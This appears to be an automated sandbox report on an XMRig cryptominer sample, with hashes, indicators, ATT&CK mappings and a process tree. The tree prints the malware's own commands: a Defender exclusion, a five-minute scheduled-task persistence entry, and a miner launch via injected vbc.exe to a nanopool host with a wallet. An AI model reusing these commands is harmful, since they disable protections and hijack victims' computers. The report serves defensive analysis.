xmrig | f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

Resubmissions

26-11-2022 08:19

221126-j7yhtaed66 10

25-11-2022 12:27

221125-pmxnnsbe8t 8

24-11-2022 09:51

221124-lvp21seh53 10

24-11-2022 09:44

221124-lqgvvahf3x 10

Analysis

max time kernel
136s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
24-11-2022 09:44

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Report Analysis Logs

General

Target

file.exe
Size

1.4MB
MD5

073a3dc0c60492b618f888c5e603fd05
SHA1

4de52c57f8f032724452e901120bcf0fbee52902
SHA256

f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27
SHA512

4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f
SSDEEP

24576:W+wHtwQBTvwpeNrT2i8k57TujjVx3KClNyOiY:W+sBTopej8Mw3NlNF

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/3956-184-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3956-185-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3956-186-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3956-187-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3956-189-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3956-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

Processes:

OWT.exe

pid process

3044 OWT.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

OWT.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation OWT.exe
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Suspicious use of SetThreadContext 1 IoCs

Processes:

OWT.exe

description pid process target process

PID 3044 set thread context of 3956 3044 OWT.exe vbc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

3672 schtasks.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

3504 timeout.exe
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exe

pid process

2364 file.exe
2364 file.exe
4792 powershell.exe
4792 powershell.exe
3044 OWT.exe
3044 OWT.exe
3912 powershell.exe
3912 powershell.exe
3044 OWT.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

664

pid	process
3044	OWT.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	OWT.exe

description	pid	process	target process
PID 3044 set thread context of 3956	3044	OWT.exe	vbc.exe

pid	process
3672	schtasks.exe

pid	process
3504	timeout.exe

pid	process
2364	file.exe
2364	file.exe
4792	powershell.exe
4792	powershell.exe
3044	OWT.exe
3044	OWT.exe
3912	powershell.exe
3912	powershell.exe
3044	OWT.exe

pid	process
664

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

file.exepowershell.exeOWT.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	2364	file.exe
Token: SeDebugPrivilege	4792	powershell.exe
Token: SeDebugPrivilege	3044	OWT.exe
Token: SeDebugPrivilege	3912	powershell.exe
Token: SeLockMemoryPrivilege	3956	vbc.exe
Token: SeLockMemoryPrivilege	3956	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

3956 vbc.exe

pid	process
3956	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

file.execmd.exeOWT.execmd.exe

description	pid	process	target process
PID 2364 wrote to memory of 4792	2364	file.exe	powershell.exe
PID 2364 wrote to memory of 4792	2364	file.exe	powershell.exe
PID 2364 wrote to memory of 1444	2364	file.exe	cmd.exe
PID 2364 wrote to memory of 1444	2364	file.exe	cmd.exe
PID 1444 wrote to memory of 3504	1444	cmd.exe	timeout.exe
PID 1444 wrote to memory of 3504	1444	cmd.exe	timeout.exe
PID 1444 wrote to memory of 3044	1444	cmd.exe	OWT.exe
PID 1444 wrote to memory of 3044	1444	cmd.exe	OWT.exe
PID 3044 wrote to memory of 3912	3044	OWT.exe	powershell.exe
PID 3044 wrote to memory of 3912	3044	OWT.exe	powershell.exe
PID 3044 wrote to memory of 1276	3044	OWT.exe	cmd.exe
PID 3044 wrote to memory of 1276	3044	OWT.exe	cmd.exe
PID 1276 wrote to memory of 3672	1276	cmd.exe	schtasks.exe
PID 1276 wrote to memory of 3672	1276	cmd.exe	schtasks.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe
PID 3044 wrote to memory of 3956	3044	OWT.exe	vbc.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE340.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1444
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:3504
- - C:\ProgramData\winrar\OWT.exe
    "C:\ProgramData\winrar\OWT.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3912
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1276
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "OWT" /tr "C:\ProgramData\winrar\OWT.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:3672
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
073a3dc0c60492b618f888c5e603fd05

SHA1
4de52c57f8f032724452e901120bcf0fbee52902

SHA256
f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

SHA512
4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

Download Submit
C:\ProgramData\winrar\OWT.exe

Filesize
1.4MB

MD5
073a3dc0c60492b618f888c5e603fd05

SHA1
4de52c57f8f032724452e901120bcf0fbee52902

SHA256
f4fcbc524c30e4469464eb1c5641577b1042bd6fb5f44835731a3ee156d29c27

SHA512
4262dd0e07f0d083c75607a0a67e20b8b8f85c57aeeba2359cc92731a82ba9d2191482cb3d28c7c8f1163b0d9604bf1cfba5ffe168ad7bb6fc7c1c11c99c0d7f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE340.tmp.bat

Filesize
138B

MD5
241d3b0401da29531e54086e32a52107

SHA1
ae42f8baa3e8fe1bd0cd1448f0bf7a13b6e314ce

SHA256
0a2d8b3733b48c37dede0c67b78976d5d8783bcbd41cc87d737b80252ec26793

SHA512
0e4d6bf1c622424c393c7aa71754b47d7ea2acf2eef09df3de1d3b08615d6586f99d8730aa789ad460ed68247b8e81ed3cb0de70e82566f9ea1d02944250a96e

Download Submit
memory/1276-172-0x0000000000000000-mapping.dmp

Download
memory/1444-146-0x0000000000000000-mapping.dmp

Download
memory/2364-140-0x0000000001650000-0x0000000001691000-memory.dmp

Filesize
260KB

Download
memory/2364-143-0x00007FFA68D70000-0x00007FFA68EBE000-memory.dmp

Filesize
1.3MB

Download
memory/2364-137-0x00007FFA84600000-0x00007FFA847A1000-memory.dmp

Filesize
1.6MB

Download
memory/2364-136-0x00007FFA68EC0000-0x00007FFA68F7D000-memory.dmp

Filesize
756KB

Download
memory/2364-139-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-141-0x00007FFA86130000-0x00007FFA8615B000-memory.dmp

Filesize
172KB

Download
memory/2364-142-0x0000000000150000-0x000000000031C000-memory.dmp

Filesize
1.8MB

Download
memory/2364-138-0x0000000000150000-0x000000000031C000-memory.dmp

Filesize
1.8MB

Download
memory/2364-144-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-148-0x0000000001650000-0x0000000001691000-memory.dmp

Filesize
260KB

Download
memory/2364-147-0x0000000000150000-0x000000000031C000-memory.dmp

Filesize
1.8MB

Download
memory/2364-149-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/2364-134-0x00007FFA85FE0000-0x00007FFA8607E000-memory.dmp

Filesize
632KB

Download
memory/2364-135-0x00007FFA81930000-0x00007FFA81942000-memory.dmp

Filesize
72KB

Download
memory/2364-133-0x00007FFA68F80000-0x00007FFA6902A000-memory.dmp

Filesize
680KB

Download
memory/3044-166-0x00007FFA86130000-0x00007FFA8615B000-memory.dmp

Filesize
172KB

Download
memory/3044-180-0x00007FFA62BF0000-0x00007FFA62CF2000-memory.dmp

Filesize
1.0MB

Download
memory/3044-160-0x00007FFA85FE0000-0x00007FFA8607E000-memory.dmp

Filesize
632KB

Download
memory/3044-161-0x00007FFA81930000-0x00007FFA81942000-memory.dmp

Filesize
72KB

Download
memory/3044-162-0x00007FFA68B60000-0x00007FFA68C1D000-memory.dmp

Filesize
756KB

Download
memory/3044-163-0x00007FFA84600000-0x00007FFA847A1000-memory.dmp

Filesize
1.6MB

Download
memory/3044-164-0x00007FFA67980000-0x00007FFA68441000-memory.dmp

Filesize
10.8MB

Download
memory/3044-165-0x0000000000D30000-0x0000000000EFC000-memory.dmp

Filesize
1.8MB

Download
memory/3044-155-0x0000000000000000-mapping.dmp

Download
memory/3044-167-0x0000000003000000-0x0000000003041000-memory.dmp

Filesize
260KB

Download
memory/3044-168-0x0000000000D30000-0x0000000000EFC000-memory.dmp

Filesize
1.8MB

Download
memory/3044-169-0x00007FFA68A10000-0x00007FFA68B5E000-memory.dmp

Filesize
1.3MB

Download
memory/3044-190-0x00007FFA67980000-0x00007FFA68441000-memory.dmp

Filesize
10.8MB

Download
memory/3044-183-0x0000000000D30000-0x0000000000EFC000-memory.dmp

Filesize
1.8MB

Download
memory/3044-182-0x00007FFA82DE0000-0x00007FFA82E1B000-memory.dmp

Filesize
236KB

Download
memory/3044-181-0x00007FFA84E20000-0x00007FFA84E8B000-memory.dmp

Filesize
428KB

Download
memory/3044-174-0x00007FFA67980000-0x00007FFA68441000-memory.dmp

Filesize
10.8MB

Download
memory/3044-179-0x00007FFA689D0000-0x00007FFA68A05000-memory.dmp

Filesize
212KB

Download
memory/3044-159-0x00007FFA68C20000-0x00007FFA68CCA000-memory.dmp

Filesize
680KB

Download
memory/3044-178-0x00007FFA84310000-0x00007FFA84337000-memory.dmp

Filesize
156KB

Download
memory/3504-153-0x0000000000000000-mapping.dmp

Download
memory/3672-175-0x0000000000000000-mapping.dmp

Download
memory/3912-170-0x0000000000000000-mapping.dmp

Download
memory/3912-176-0x00007FFA67980000-0x00007FFA68441000-memory.dmp

Filesize
10.8MB

Download
memory/3912-177-0x00007FFA67980000-0x00007FFA68441000-memory.dmp

Filesize
10.8MB

Download
memory/3956-193-0x000001541D6A0000-0x000001541D6C0000-memory.dmp

Filesize
128KB

Download
memory/3956-195-0x000001541D6A0000-0x000001541D6C0000-memory.dmp

Filesize
128KB

Download
memory/3956-185-0x0000000140343234-mapping.dmp

Download
memory/3956-186-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3956-187-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3956-188-0x000001541D5F0000-0x000001541D610000-memory.dmp

Filesize
128KB

Download
memory/3956-189-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3956-184-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3956-191-0x000001541D640000-0x000001541D660000-memory.dmp

Filesize
128KB

Download
memory/3956-192-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/3956-196-0x000001541D660000-0x000001541D680000-memory.dmp

Filesize
128KB

Download
memory/3956-194-0x000001541D660000-0x000001541D680000-memory.dmp

Filesize
128KB

Download
memory/4792-150-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download
memory/4792-145-0x0000000000000000-mapping.dmp

Download
memory/4792-151-0x0000024ABFF40000-0x0000024ABFF62000-memory.dmp

Filesize
136KB

Download
memory/4792-154-0x00007FFA67CB0000-0x00007FFA68771000-memory.dmp

Filesize
10.8MB

Download